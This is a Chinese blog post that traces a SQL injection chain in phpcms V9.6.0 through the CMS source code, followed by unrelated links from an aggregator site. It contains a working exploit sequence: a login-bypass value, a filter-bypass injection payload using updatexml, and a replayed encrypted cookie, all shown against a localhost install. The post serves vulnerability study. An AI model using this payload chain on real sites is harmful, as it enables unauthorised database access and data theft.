phpcmsV9.6.0sql注入漏洞分析

news/2025/3/19 11:09:05/

目录

前言

环境准备

漏洞点

看一看parse_str函数

看一看sys_auth函数

看一看get_one函数

全局搜索sys_auth($a_k, 'ENCODE')

查看safe_replace函数

判断登录绕过

index的业务

加载modules/wap/index.php

加载modules/attachment/attachments.php

加载modules\content\down.php


前言

本次分析phpcmsV9.6.0 的sql注入漏洞,过程很曲折,就像cc链一样,要一步一步找到利用的链。
纯手动分析没有软件调试,中间找类啊,方法啊 ,都是按照代码流程写的流程分析的,对自己也是一个挑战吧!

环境准备

添加php的运行环境

PHPCMSV9.6.0 源码下载

链接:https://pan.baidu.com/s/1h87h2RLBNsu8Ox6eRRK6Qw?pwd=cefh 
提取码:cefh

漏洞点

请看phpcms\modules\content\down.php 文件下down类中的一个函数方法

public function init() {$a_k = trim($_GET['a_k']);if(!isset($a_k)) showmessage(L('illegal_parameters'));$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));if(empty($a_k)) showmessage(L('illegal_parameters'));unset($i,$m,$f);parse_str($a_k);if(isset($i)) $i = $id = intval($i);if(!isset($m)) showmessage(L('illegal_parameters'));if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));if(empty($f)) showmessage(L('url_invalid'));$allow_visitor = 1;$MODEL = getcache('model','commons');$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];$this->db->table_name = $tablename.'_data';$rs = $this->db->get_one(array('id'=>$id));	$siteids = getcache('category_content','commons');$siteid = $siteids[$catid];$CATEGORYS = getcache('category_content_'.$siteid,'commons');...

get传参&a_k,之后对参数$a_k做了sys_auth()函数处理 模式是解密处理,后面sql的数据库处理,这里是否存在sql注入呢!

看一看parse_str函数

官方文档说明

看来这个函数可以根据传参&k=v 的形式创建变量 ,我们可以创建$id参数 试试sql注入,因为下面的代码涉及数据库查询

看if(isset($i)) $i = $id = intval($i); 好像对$id做了处理,不过没有用,因为上面的代码有执行unset($i,$m,$f); ,这意味者$i是无效的。 之后$id是一直没有做过滤处理,直接到了sql查询,那么这存在的sql注入可能性是非常的大的。

我们欲定制的&id=' and updatexml(1,concat(1,(user())),1) 通过parse_str创建sql注入危险参数 传入sql查询中,这有可能返回用户信息。

不过在此之前我们要看一下加解密的这个函数sys_auth();

看一看sys_auth函数

/*** 字符串加密、解密函数*** @param	string	$txt		字符串
* @param	string	$operation	ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param	string	$key		密钥:数字、字母、下划线
* @param	string	$expiry		过期时间* @return	string*/function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {$ckey_length = 4;$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');}}

只看注解就大致明白了这个函数的基本逻辑,传入了字符串和密钥它就返回一个加了密的或者解了密的字符串。非常可能是对称加密。

而且当你第二个参数密钥没输的话,后面的代码还是会赋给key:pc_base::load_config('system', 'auth_key') ---------------$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));

看来pc_base::load_config('system','auth_key')这个就是密钥了。

找到pc_base这个类的load_config方法,找找看密钥在不在

/*** 加载配置文件* @param string $file 配置文件* @param string $key  要获取的配置荐* @param string $default  默认配置。当获取配置项目失败时该值发生作用。* @param boolean $reload 强制重新加载。*/public static function load_config($file, $key = '', $default = '', $reload = false) {static $configs = array();if (!$reload && isset($configs[$file])) {if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';if (file_exists($path)) {$configs[$file] = include $path;}if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}

第一个if是进不去的因为$configs[$file] 是刚创建的新数组,看它接下来又进行了什么操作

    $path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
    if (file_exists($path)) {
        $configs[$file] = include $path;
    }

这里给$configs[$file] 赋了值,分析一下。

写宏的定义都可以找到//缓存文件夹地址 define('CACHE_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR.'caches'.DIRECTORY_SEPARATOR); //PHPCMS框架路径 define('PC_PATH', dirname(FILE).DIRECTORY_SEPARATOR);

根据传入的参数$file=system 可以得到$path的目录
CACHE_PATH=phpcms../caches./
$path=phpcms../caches./configs./system.php

在后面的代码逻辑中似乎取出了什么值,$configs[$file][$key]; 。

打开这个文件一看 找auth_key的值

 ok 这个密钥找到了

如果这个密钥每个安装cms的用户密钥都一样的,那就可以直接利用。但如果每个用户的密钥都一样那这个时候就另辟途径了。

全局搜索看看有没有调用sys_auth($a_k, 'ENCODE');函数 传入的字符串是否可控 ,若可控还能返回最好 ,我们把准备的get传参交由它加密,最后经过phpcms\modules\content\down.php 的sys_auth解密 不就可以利用了。

为了确保sql注入的准确执行,看一看get_one函数

看一看get_one函数

		...$MODEL = getcache('model','commons');$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];$this->db->table_name = $tablename.'_data';$rs = $this->db->get_one(array('id'=>$id));	...

 分析一下db是怎么来的,查看down的构造方法

class down {private $db;function __construct() {$this->db = pc_base::load_model('content_model');}

跟进pc_base类下的load_model方法

/*** 加载数据模型* @param string $classname 类名*/
public static function load_model($classname) {return self::_load_class($classname,'model');
}

在跟进_load_class方法

/*** 加载类文件函数* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/private static function _load_class($classname, $path = '', $initialize = 1) {static $classes = array();if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';$key = md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';$name = $classname;if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include $my_path;$name = 'MY_'.$classname;}if ($initialize) {$classes[$key] = new $name;} else {$classes[$key] = true;}return $classes[$key];} else {return false;}}

 由传入的参数$classname=content_model; $path='model'
PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php' == phpcms/model/content_model.class.php'

这个文件是存在的所以会被包含进来

在content_model.class.php内content_model类中没有找到get_one方法,不过它有父类model兴趣能找到get_one方法。

在父类中有get_one方法

*** 获取单条记录查询* @param $where 		查询条件* @param $data 		需要查询的字段值[例`name`,`gender`,`birthday`]* @param $order 		排序方式	[默认按数据库默认方式排序]* @param $group 		分组方式	[默认为空]* @return array/null	数据查询结果集,如果不存在,则返回空*/
final public function get_one($where = '', $data = '*', $order = '', $group = '') {if (is_array($where)) $where = $this->sqls($where);return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}

上来就判断$where是数组吗,是! 刚才我们传的是array('id'=>$id),因此会执行$where = $this->sqls($where);进入sqls方法

/*** 将数组转换为SQL语句* @param array $where 要生成的数组* @param string $font 连接串。*/
final public function sqls($where, $font = ' AND ') {if (is_array($where)) {$sql = '';foreach ($where as $key=>$val) {$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";}return $sql;} else {return $where;}
}

假设id=1 那么经过foreach后 $sql="id=1"
假设id=1 key=2那么经过foreach后 $sql="id=1 and key=2"

将$sql返回赋值给$where
续分析return $this->db->get_one($data, $this->table_name, $where, $order, $group);

这里貌似有了新的db,去看一看db怎么来的, 找到model类的构造函数

class model {//数据库配置
protected $db_config = '';
//数据库连接
protected $db = '';
//调用数据库的配置项
protected $db_setting = 'default';
//数据表名
protected $table_name = '';
//表前缀
public  $db_tablepre = '';public function __construct() {if (!isset($this->db_config[$this->db_setting])) {$this->db_setting = 'default';}$this->table_name = $this->db_config[$this->db_setting]['tablepre'].$this->table_name;$this->db_tablepre = $this->db_config[$this->db_setting]['tablepre'];$this->db = db_factory::get_instance($this->db_config)->get_database($this->db_setting);
}

找到同级目录下的db_factory类 get_instance静态方法

/*** 返回当前终级类对象的实例* @param $db_config 数据库配置* @return object*/
public static function get_instance($db_config = '') {if($db_config == '') {$db_config = pc_base::load_config('database');}if(db_factory::$db_factory == '') {db_factory::$db_factory = new db_factory();}if($db_config != '' && $db_config != db_factory::$db_factory->db_config) db_factory::$db_factory->db_config = array_merge($db_config, db_factory::$db_factory->db_config);return db_factory::$db_factory;
}

实例化db_factory类,后面又调用了get_database方法 ,

/*** 获取数据库操作实例* @param $db_name 数据库配置名称*/public function get_database($db_name) {if(!isset($this->db_list[$db_name]) || !is_object($this->db_list[$db_name])) {$this->db_list[$db_name] = $this->connect($db_name);}return $this->db_list[$db_name];}

进入connect方法 看看返回的return $this->db_list[$db_name];是什么

/***  加载数据库驱动* @param $db_name 	数据库配置名称* @return object*/
public function connect($db_name) {$object = null;switch($this->db_config[$db_name]['type']) {case 'mysql' :pc_base::load_sys_class('mysql', '', 0);$object = new mysql();break;case 'mysqli' :$object = pc_base::load_sys_class('db_mysqli');break;case 'access' :$object = pc_base::load_sys_class('db_access');break;default :pc_base::load_sys_class('mysql', '', 0);$object = new mysql();}$object->open($this->db_config[$db_name]);return $object;
}

这里我们需要判断 $this->db_config[$db_name]['type'] 存的是什么字符串

connect的$db_name来自get_database的$db_name
get_database的$db_name来自$this->db_setting
db_setting = 'default'

找一下$db_config
$db_config = pc_base::load_config('database');
根据刚才找system的套路 我们也向caches\configs目录下找

<?phpreturn array ('default' => array ('hostname' => 'localhost','port' => 3306,'database' => 'phpcmsv9','username' => 'root','password' => '','tablepre' => 'v9_','charset' => 'utf8','type' => 'mysqli','debug' => true,'pconnect' => 0,'autoconnect' => 0),
);?>

既然是default 后面又有type 那么最终返回的就是mysqli

现在可以判断的是刚才的switch语句会执行以下的代码

	case 'mysqli' :$object = pc_base::load_sys_class('db_mysqli');break;

跟进去load_sys_class

/*** 加载系统类方法* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/
public static function load_sys_class($classname, $path = '', $initialize = 1) {return self::_load_class($classname, $path, $initialize);
}

 在跟进去_load_class

/*** 加载类文件函数* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/
private static function _load_class($classname, $path = '', $initialize = 1) {static $classes = array();if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';$key = md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';$name = $classname;if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include $my_path;$name = 'MY_'.$classname;}if ($initialize) {$classes[$key] = new $name;} else {$classes[$key] = true;}return $classes[$key];} else {return false;}
}

ok 我们去上libs/classes 这个目录下的db_mysqli类找出来 ;文件名为db_mysqli.class.php 函数加载了这个类

由此可见db存的是db_mysqli实例化类

db_mysqli有get_one的方法

/*** 获取单条记录查询* @param $data 		需要查询的字段值[例`name`,`gender`,`birthday`]* @param $table 		数据表* @param $where 		查询条件* @param $order 		排序方式	[默认按数据库默认方式排序]* @param $group 		分组方式	[默认为空]* @return array/null	数据查询结果集,如果不存在,则返回空*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {$where = $where == '' ? '' : ' WHERE '.$where;$order = $order == '' ? '' : ' ORDER BY '.$order;$group = $group == '' ? '' : ' GROUP BY '.$group;$limit = ' LIMIT 1';$field = explode( ',', $data);array_walk($field, array($this, 'add_special_char'));$data = implode(',', $field);$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;$this->execute($sql);$res = $this->fetch_next();$this->free_result();return $res;
}

所以这里的之前的get_one函数会跳转到上面的get_one函数

    final public function get_one($where = '', $data = '*', $order = '', $group = '') {
    if (is_array($where)) $where = $this->sqls($where);
    return $this->db->get_one($data, $this->table_name, $where, $order, $group);

​$where = $where == ' ' ? ' ' : ' WHERE '.$where; ​ 将成为 WHERE id=1 之类的
$order = $order == ' ' ? ' ' : ' ORDER BY '.$order; $order为空
$group = $group == '' ? '' : ' GROUP BY '.$group; $group为空
$data = '*'经过$field = explode( ',', $data); $field成为数组 .....

看sql语句的字符串

$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'.'.$table.''.$where.$group.$order.$limit;
最终形成的形式为$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'.'.$table.'' WHERE id=1 LIMIT 1;
这样美誉经过任何过滤项 已经形成sql注入的必要条件了。

全局搜索sys_auth($a_k, 'ENCODE')

在phpcms\libs\classes\param.class.php文件中

/*** 设置 cookie* @param string $var     变量名* @param string $value   变量值* @param int $time    过期时间*/public static function set_cookie($var, $value = '', $time = 0) {$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;$var = pc_base::load_config('system','cookie_pre').$var;$_COOKIE[$var] = $value;if (is_array($value)) {foreach($value as $k=>$v) {setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);}} else {setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);}}

('cookie_pre' => 'tqdSZ_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀 )

$value参数可控的话就可以利用,这里setcookie方法貌似是js中定义的,可以返回到前端

function setcookie(name, value, days) {name = cookie_pre+name;var argc = setcookie.arguments.length;var argv = setcookie.arguments;var secure = (argc > 5) ? argv[5] : false;var expire = new Date();if(days==null || days==0) days=1;expire.setTime(expire.getTime() + 3600000*24*days);document.cookie = name + "=" + escape(value) + ("; path=" + cookie_path) + ((cookie_domain == '') ? "" : ("; domain=" + cookie_domain)) + ((secure == true) ? "; secure" : "") + ";expires="+expire.toGMTString();
}

在phpcms/modules/attachment/attachments.php文件中 ,有一个方法

/*** 设置swfupload上传的json格式cookie*/public function swfupload_json() {$arr['aid'] = intval($_GET['aid']);$arr['src'] = safe_replace(trim($_GET['src']));$arr['filename'] = urlencode(safe_replace($_GET['filename']));$json_str = json_encode($arr);$att_arr_exist = param::get_cookie('att_json');$att_arr_exist_tmp = explode('||', $att_arr_exist);if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {return true;} else {$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;param::set_cookie('att_json',$json_str);return true;			}}

查看接收字符串的src与filename参数,中间经过了safe_replace的处理之后由json_encode处理后放入set_cookie ,

查看safe_replace函数


/*** 安全过滤函数** @param $string* @return string*/
function safe_replace($string) {$string = str_replace('%20','',$string);$string = str_replace('%27','',$string);$string = str_replace('%2527','',$string);$string = str_replace('*','',$string);$string = str_replace('"','&quot;',$string);$string = str_replace("'",'',$string);$string = str_replace('"','',$string);$string = str_replace(';','',$string);$string = str_replace('<','&lt;',$string);$string = str_replace('>','&gt;',$string);$string = str_replace("{",'',$string);$string = str_replace('}','',$string);$string = str_replace('\\','',$string);return $string;
}

这个函数的确过滤了不少特殊的字符,但它是顺序执行了的啊!

给出思路: 假如我们像传参%27 我们可以写成%*27 ,是不是可以绕过了。

判断登录绕过

要使用这个类还有有一个前提
看一看attachments类的初始化工作

class attachments {private $att_db;function __construct() {pc_base::load_app_func('global');$this->upload_url = pc_base::load_config('system','upload_url');$this->upload_path = pc_base::load_config('system','upload_path');		$this->imgext = array('jpg','gif','png','bmp','jpeg');$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;//判断是否登录if(empty($this->userid)){showmessage(L('please_login','','member'));}}

必须让userid不为空,分析前面的带代码得知post传入userid_flash参数即可

为了使userid加密 格式正确我们可以看下面的代码

phpcms/modules/wap/index.php

class index {function __construct() {		$this->db = pc_base::load_model('content_model');$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);param::set_cookie('siteid',$this->siteid);	$this->wap_site = getcache('wap_site','wap');$this->types = getcache('wap_type','wap');$this->wap = $this->wap_site[$this->siteid];define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);if($this->wap['status']!=1) exit(L('wap_close_status'));}

这里get接收siteid并且经过加密(set_cookie里)返回  我们可以拿到一个正常的加密的siteid值

一切都看似很美好,那么我们如何传参呢?

index的业务

看首页的index.php

<?php
/***  index.php PHPCMS 入口**  @copyright			(C) 2005-2010 PHPCMS*  @license				http://www.phpcms.cn/license/*  @lastmodify			2010-6-1*///PHPCMS根目录define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);include PHPCMS_PATH.'/phpcms/base.php';pc_base::creat_app();?>

跟进pc_base类中的creat_app方法

/*** 初始化应用程序*/
public static function creat_app() {return self::load_sys_class('application');
}

根据刚才的套路可以想到这应该是到libs/classes目录下找application.class 找到application类

application类有构造函数

class application {
/*** 构造函数*/
public function __construct() {$param = pc_base::load_sys_class('param');define('ROUTE_M', $param->route_m());define('ROUTE_C', $param->route_c());define('ROUTE_A', $param->route_a());$this->init();
}

这里定义了几根宏后面可能会用到,看看route_m

/*** 获取模型*/
public function route_m() {$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');$m = $this->safe_deal($m);if (empty($m)) {return $this->route_config['m'];} else {if(is_string($m)) return $m;}
}

route_c

/*** 获取控制器*/public function route_c() {$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');$c = $this->safe_deal($c);if (empty($c)) {return $this->route_config['c'];} else {if(is_string($c)) return $c;}}

$param存的应该是param类

进入init函数

/*** 调用件事*/private function init() {$controller = $this->load_controller();if (method_exists($controller, ROUTE_A)) {if (preg_match('/^[_]/i', ROUTE_A)) {exit('You are visiting the action is to protect the private action');} else {call_user_func(array($controller, ROUTE_A));}} else {exit('Action does not exist.');}}

进入load_controller

/*** 加载控制器* @param string $filename* @param string $m* @return obj*/private function load_controller($filename = '', $m = '') {if (empty($filename)) $filename = ROUTE_C;if (empty($m)) $m = ROUTE_M;$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';if (file_exists($filepath)) {$classname = $filename;include $filepath;if ($mypath = pc_base::my_path($filepath)) {$classname = 'MY_'.$filename;include $mypath;}if(class_exists($classname)){return new $classname;}else{exit('Controller does not exist.');}} else {exit('Controller does not exist.');}}
}

 可以传参c=cccc&m=mmm
$filepath=phpcms/modules/mmmm/cccc.php,如果这个文件存在 那就包含这个文件
返回这个实例化类

call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数

根据这个逻辑我们可以包含phpcms/modules/wap/index.php,加载index类(__construct会自动执行),这样就可传参siteid了

加载modules/wap/index.php

试一下

http://localhost/PHPCMSV9.6.0/install_package/index.php?c=index&m=wap&siteid=1

我们可以看到这里确实返回了cookie

加载modules/attachment/attachments.php

准备加载在phpcms/modules/attachment/attachments.php加载attachments类

http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachments&m=attachment

我们需要执行这个类的一个函数swfupload_json,注意call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数

/*** 获取事件*/
public function route_a() {$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');$a = $this->safe_deal($a);if (empty($a)) {return $this->route_config['a'];} else {if(is_string($a)) return $a;}
}

我们试试把get传入参数a

http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachment&m=attachment&a=swfupload_json

注意这个请求应是post,加上userid_flash 之前我们得到的可以绕过登录的加密密文
userid_flash=6b47nnR-RzzZSlL3pvOWVbDDRPViHYmbMZJc0tHF

如果这个请求可以执行swfupload_json函数, 那就要考虑传参了,这也是我们愿意看到的向src传参。

不过此前我们还要考虑到如下的代码

        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));

 由于以上代码参数限制我们 在传参的时候加把这些if绕过去,于是我们payload设置如下

http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=attachments&m=attachment&a=swfupload_json&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=1

 此时有cookie的返回

 将这段的cookie记录下来

afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61

加载modules\content\down.php

phpcms\modules\content\down.php 加载init函数 传入参数&a_k

http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=down&m=content&a=init&a_k=afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61

可以看到这里确实可以存在sql注入


http://www.ppmy.cn/news/1107282.html

相关文章

MySQL——数据的增删改

2023.9.12 本章开始学习DML (数据操纵语言) 语言。相关学习笔记如下&#xff1a; #DML语言 /* 数据操作语言&#xff1a; 插入&#xff1a;insert 修改&#xff1a;update 删除&#xff1a;delete */#一、插入语句 #方式一&#xff1a;经典的插入 /* 语法&#xff1a; insert …

Spring Bean的获取方式

参考https://juejin.cn/post/7251780545972994108?searchId2023091105493913AF7C1E3479BB943C80#heading-12 记录并补充 1.通过BeanFactoryAware package com.toryxu.demo1.beans;import org.springframework.beans.BeansException; import org.springframework.beans.facto…

青春不一young——建行江门市分行“爱·”时光音乐会圆满成功!

为进一步贯彻落实党的二十大精神&#xff0c;传承和发扬“五四”精神&#xff0c;落实市分行党委关心关爱青年员工工作要求及省分行团委“五四”活动要求&#xff0c;引领青年思想&#xff0c;凝聚青春力量&#xff0c;激发奋斗精神&#xff0c;为市分行高质量发展贡献青春力量…

从构建者到设计者的低代码之路

低代码开发技术&#xff0c;是指无需编码或通过少量代码就可以快速生成应用程序的工具&#xff0c;一方面可降低企业应用开发人力成本和对专业软件人才的需求&#xff0c;另一方面可将原有数月甚至数年的开发时间成倍缩短&#xff0c;帮助企业实现降本增效、灵活迭代。那么&…

干货分享 | 一文了解TSMaster中Seedkey的两种处理方法

在UDS诊断过程中&#xff0c;会涉及到安全访问的问题&#xff0c;也就是常说的Seed&Key。TSMaster中提供了两种 Seed&Key 的处理方法&#xff1a;第一种是直接加载DLL文件&#xff1b;第二种是直接在TSMaster的编译器中直接添加安全算法。 一、加载外部 Seed&Key D…

华为再放大招“重新造车”,这次能否延续手机辉煌?

最近&#xff0c;华为余承东出席AITO问界新M7新车发布仪式。他声称继续在该系列车型投超五亿资金&#xff0c;扬言打造智能座舱天花板。 继华为手机成为世界新闻后&#xff0c;近期这家公司连放大招。理性的看&#xff0c;华为造车能否延续手机辉煌? 01 汽车是大招的集合体 …

易基因: WGBS等揭示DNA甲基化调控林地草莓植株高度和果实大小的分子机制|植物发育

大家好&#xff0c;这里是专注表观组学十余年&#xff0c;领跑多组学科研服务的易基因。 DNA甲基化影响基因组稳定性、转座子沉默和基因表达&#xff1b;它主要发生在对称CG和CHG以及不对称CHH (H A, C或T)中的胞嘧啶上。RNA介导的DNA甲基化(RNA-directed DNA methylation&am…

Linux——环境变量

✅<1>主页&#xff1a;&#xff1a;我的代码爱吃辣 &#x1f4c3;<2>知识讲解&#xff1a;Linux——环境变量 ☂️<3>开发环境&#xff1a;Centos7 &#x1f4ac;<4>前言&#xff1a;环境变量(environment variables)一般是指在操作系统中用来指定操作…